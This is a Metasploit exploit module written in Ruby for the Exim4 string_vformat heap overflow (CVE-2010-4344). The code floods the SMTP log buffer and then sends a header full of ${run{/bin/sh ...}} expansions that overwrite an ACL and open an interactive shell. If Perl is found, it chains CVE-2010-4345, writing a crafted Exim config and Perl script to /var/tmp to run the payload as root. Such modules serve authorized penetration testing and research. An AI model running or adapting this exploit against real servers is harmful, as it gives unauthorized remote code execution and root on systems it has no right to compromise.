Exim4 string_format Function Heap Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Smtp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Exim4 string_format Function Heap Buffer Overflow',
      'Description'    => %q{
          This module exploits a heap buffer overflow within versions of Exim prior to
        version 4.69. By sending a specially crafted message, an attacker can corrupt the
        heap and execute arbitrary code with the privileges of the Exim daemon.

        The root cause is that no check is made to ensure that the buffer is not full
        prior to handling '%s' format specifiers within the 'string_vformat' function.
        In order to trigger this issue, we get our message rejected by sending a message
        that is too large. This will call into log_write to log rejection headers (which
        is a default configuration setting). After filling the buffer, a long header
        string is sent. In a successful attempt, it overwrites the ACL for the 'MAIL
        FROM' command. By sending a second message, the string we sent will be evaluated
        with 'expand_string' and arbitrary shell commands can be executed.

        It is likely that this issue could also be exploited using other techniques such
        as targeting in-band heap management structures, or perhaps even function pointers
        stored in the heap. However, these techniques would likely be far more platform
        specific, more complicated, and less reliable.

        This bug was original found and reported in December 2008, but was not
        properly handled as a security issue. Therefore, there was a 2 year lag time
        between when the issue was fixed and when it was discovered being exploited
        in the wild. At that point, the issue was assigned a CVE and began being
        addressed by downstream vendors.

        An additional vulnerability, CVE-2010-4345, was also used in the attack that
        led to the discovery of danger of this bug. This bug allows a local user to
        gain root privileges from the Exim user account. If the Perl interpreter is
        found on the remote system, this module will automatically exploit the
        secondary bug as well to get root.
      },
      'Author'         => [ 'jduck', 'hdm' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2010-4344' ],
          [ 'CVE', '2010-4345' ],
          [ 'OSVDB', '69685' ],
          [ 'OSVDB', '69860' ],
          [ 'BID', '45308' ],
          [ 'BID', '45341' ],
          [ 'URL', 'https://seclists.org/oss-sec/2010/q4/311' ],
          [ 'URL', 'http://www.gossamer-threads.com/lists/exim/dev/89477' ],
          [ 'URL', 'http://bugs.exim.org/show_bug.cgi?id=787' ],
          [ 'URL', 'http://git.exim.org/exim.git/commitdiff/24c929a27415c7cfc7126c47e4cad39acf3efa6b' ]
        ],
      'Privileged'     => true,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 8192, # much more in reality, but w/e
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl ruby telnet',
            }
        },
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'        =>
        [
          [ 'Automatic', { } ],
        ],
      # Originally discovered/reported Dec 2 2008
      'DisclosureDate' => '2010-12-07', # as an actual security bug
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('MAILFROM', [ true, 'FROM address of the e-mail', 'root@localhost']),
        OptString.new('MAILTO', [ true, 'TO address of the e-mail', 'postmaster@localhost']),
        OptString.new('EHLO_NAME', [ false, 'The name to send in the EHLO' ])
      ])

    register_advanced_options(
      [
        OptString.new("SourceAddress", [false, "The IP or hostname of this system as the target will resolve it"]),
        OptBool.new("SkipEscalation", [true, "Specify this to skip the root escalation attempt", false]),
        OptBool.new("SkipVersionCheck", [true, "Specify this to skip the version check", false])
      ])
  end

  def exploit
    #
    # Connect and grab the banner
    #
    ehlo = datastore['EHLO_NAME']
    ehlo ||= Rex::Text.rand_text_alphanumeric(8) + ".com"

    print_status("Connecting to #{rhost}:#{rport} ...")
    connect

    print_status("Server: #{self.banner.to_s.strip}")
    if self.banner.to_s !~ /Exim /
      disconnect
      fail_with(Failure::NoTarget, "The target server is not running Exim!")
    end

    if not datastore['SkipVersionCheck'] and self.banner !~ /Exim 4\.6\d+/i
      fail_with(Failure::Unknown, "Warning: This version of Exim is not exploitable")
    end

    ehlo_resp = raw_send_recv("EHLO #{ehlo}\r\n")
    ehlo_resp.each_line do |line|
      print_status("EHLO: #{line.strip}")
    end

    #
    # Determine the maximum message size
    #
    max_msg = 52428800
    if ehlo_resp.to_s =~ /250-SIZE (\d+)/
      max_msg = $1.to_i
    end

    #
    # Determine what hostname the server sees
    #
    saddr = nil
    revdns = nil
    if ehlo_resp =~ /^250.*Hello ([^\s]+) \[([^\]]+)\]/
      revdns = $1
      saddr = $2
    end
    source = saddr || datastore["SourceAddress"] || Rex::Socket.source_address('1.2.3.4')
    print_status("Determined our hostname is #{revdns} and IP address is #{source}")


    #
    # Initiate the message
    #
    from = datastore['MAILFROM']
    to   = datastore['MAILTO']

    resp = raw_send_recv("MAIL FROM: #{from}\r\n")
    resp ||= 'no response'
    msg = "MAIL: #{resp.strip}"
    if not resp or resp[0,3] != '250'
      fail_with(Failure::Unknown, msg)
    else
      print_status(msg)
    end

    resp = raw_send_recv("RCPT TO: #{to}\r\n")
    resp ||= 'no response'
    msg = "RCPT: #{resp.strip}"
    if not resp or resp[0,3] != '250'
      fail_with(Failure::Unknown, msg)
    else
      print_status(msg)
    end

    resp = raw_send_recv("DATA\r\n")
    resp ||= 'no response'
    msg = "DATA: #{resp.strip}"
    if not resp or resp[0,3] != '354'
      fail_with(Failure::Unknown, msg)
    else
      print_status(msg)
    end


    #
    # Calculate the headers
    #
    msg_len         = max_msg + (1024*256) # just for good measure
    log_buffer_size = 8192

    host_part = "H="
    if revdns and revdns != ehlo
      host_part << revdns << " "
    end
    host_part << "(#{ehlo})"

    # The initial headers will fill up the 'log_buffer' variable in 'log_write' function
    print_status("Constructing initial headers ...")
    log_buffer = "YYYY-MM-DD HH:MM:SS XXXXXX-YYYYYY-ZZ rejected from <#{from}> #{host_part} [#{source}]: "
    log_buffer << "message too big: read=#{msg_len} max=#{max_msg}\n"
    log_buffer << "Envelope-from: <#{from}>\nEnvelope-to: <#{to}>\n"

    # We want 2 bytes left, so we subtract from log_buffer_size here
    log_buffer_size -= 3 # account for the nul termination too

    # Now, "  " + hdrline for each header
    hdrs = []
    while log_buffer.length < log_buffer_size
      header_name = rand_text_alpha(10).capitalize
      filler = rand_text_alphanumeric(8 * 16)
      hdr = "#{header_name}: #{filler}\n"

      one = (2 + hdr.length)
      two = 2 * one
      left = log_buffer_size - log_buffer.length
      if left < two and left > one
        left -= 4 # the two double spaces
        first = left / 2
        hdr = hdr.slice(0, first - 1) + "\n"
        hdrs << hdr
        log_buffer << "  " << hdr

        second = left - first
        header_name = rand_text_alpha(10).capitalize
        filler = rand_text_alphanumeric(8 * 16)
        hdr = "#{header_name}: #{filler}\n"
        hdr = hdr.slice(0, second - 1) + "\n"
      end
      hdrs << hdr
      log_buffer << "  " << hdr
    end
    hdrs1 = hdrs.join

    # This header will smash various heap stuff, hopefully including the ACL
    header_name = Rex::Text.rand_text_alpha(7).capitalize
    print_status("Constructing HeaderX ...")
    hdrx = "#{header_name}: "
    1.upto(50) { |a|
      3.upto(12) { |b|
        hdrx << "${run{/bin/sh -c 'exec /bin/sh -i <&#{b} >&0 2>&0'}} "
      }
    }

    # In order to trigger the overflow, we must get our message rejected.
    # To do so, we send a message that is larger than the maximum.

    print_status("Constructing body ...")
    body = ''
    fill = (Rex::Text.rand_text_alphanumeric(254) + "\r\n") * 16384

    while(body.length < msg_len)
      body << fill
    end
    body = body[0, msg_len]

    print_status("Sending #{msg_len / (1024*1024)} megabytes of data...")
    sock.put hdrs1
    sock.put hdrx
    sock.put "\r\n"
    sock.put body

    print_status("Ending first message.")
    buf = raw_send_recv("\r\n.\r\n")
    # Should be: "552 Message size exceeds maximum permitted\r\n"
    print_status("Result: #{buf.inspect}") if buf

    second_result = ""

    print_status("Sending second message ...")
    buf = raw_send_recv("MAIL FROM: #{datastore['MAILFROM']}\r\n")
    # Should be: "sh-x.x$ " !!
    if buf
      print_status("MAIL result: #{buf.inspect}")
      second_result << buf
    end

    buf = raw_send_recv("RCPT TO: #{datastore['MAILTO']}\r\n")
    # Should be: "sh: RCPT: command not found\n"
    if buf
      print_status("RCPT result: #{buf.inspect}")
      second_result << buf
    end

    # Clear pending output from the socket
    buf = sock.get_once(-1, 1.0)
    second_result << buf if buf
    sock.put("source /etc/profile >/dev/null 2>&1\n")
    buf = sock.get_once(-1, 2.0)
    second_result << buf if buf

    # Check output for success
    if second_result !~ /(MAIL|RCPT|sh: |sh-[0-9]+)/
      print_error("Second result: #{second_result.inspect}")
      fail_with(Failure::Unknown, 'Something went wrong, perhaps this host is patched?')
    end

    resp = ''
    if not datastore['SkipEscalation']
      print_status("Looking for Perl to facilitate escalation...")
      # Check for Perl as a way to escalate our payload
      sock.put("perl -V\n")
      select(nil, nil, nil, 3.0)
      resp = sock.get_once(-1, 10.0)
    end

    if resp !~ /Summary of my perl/
      print_status("Should have a shell now, sending payload...")
      buf = raw_send_recv("\n" + payload.encoded + "\n\n")
      if buf
        if buf =~ /554 SMTP synchronization error/
          print_error("This target may be patched: #{buf.strip}")
        else
          print_status("Payload result: #{buf.inspect}")
        end
      end
    else
      print_status("Perl binary detected, attempt to escalate...")

      token = Rex::Text.rand_text_alpha(8)
      # Flush the output from the shell
      sock.get_once(-1, 0.1)

      # Find the perl interpreter path
      sock.put("which perl;echo #{token}\n")
      buff = ""
      cnt  =
      while not buff.index(token)
        res = sock.get_once(-1, 0.25)
        buff << res if res
      end

      perl_path = buff.gsub(token, "").gsub(/\/perl.*/m, "/perl").strip
      print_status("Using Perl interpreter at #{perl_path}...")

      temp_conf = "/var/tmp/" + Rex::Text.rand_text_alpha(8)
      temp_perl = "/var/tmp/" + Rex::Text.rand_text_alpha(8)
      temp_eof  = Rex::Text.rand_text_alpha(8)

      print_status("Creating temporary files #{temp_conf} and #{temp_perl}...")

      data_conf = "spool_directory = ${run{#{perl_path} #{temp_perl}}}\n".unpack("H*")[0]
      sock.put("perl -e 'print pack qq{H*},shift' #{data_conf} > #{temp_conf}\n")

      data_perl =	"#!/usr/bin/perl\n$) = $( = $> = $< = 0; system<DATA>;\n__DATA__\n#{payload.encoded}\n".unpack("H*")[0]
      sock.put("perl -e 'print pack qq{H*},shift' #{data_perl} > #{temp_perl}\n")

      print_status("Attempting to execute payload as root...")
      sock.put("PATH=/bin:/sbin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin exim -C#{temp_conf} -q\n")
    end

    # Give some time for the payload to be consumed
    select(nil, nil, nil, 4)

    handler
    disconnect
  end
end